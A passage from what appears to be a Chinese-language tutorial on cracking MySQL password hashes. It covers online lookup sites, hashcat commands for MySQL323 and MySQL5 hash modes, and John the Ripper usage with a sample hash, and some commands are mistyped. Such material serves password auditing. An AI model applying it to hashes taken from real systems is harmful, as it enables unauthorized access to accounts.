  • cmd5.com 破解。將獲取的 MySQL 值放在 cmd5.com 網站中進行查詢,MySQL 密碼通常都是收費的;

  • somd5.com 破解。Somd5.com 是後面出現的一個免費破解網站,每次破解須要手工選擇圖形碼進行破解,速度快,效果好,只是每次只能破解一個,並且破解一次後須要從新輸入驗證碼。

 

三、Oclhash 破解

 

Hashcat 支持不少種破解算法,免費開源軟件,官方網站 https://hashcat.net/hashcat/,破解命令

hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323類型

hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5類型

 

四、John the Ripper password cracker

 

John the Ripper 下載地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper 除了可以破解 linux 外,還能破解多種格式的密碼

Echo *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt

John –format =mysql-sha1 hashes.txt

john --list=formats | grep mysql //查看支持mysql密碼破解的算法

相關文章
相關標籤/搜索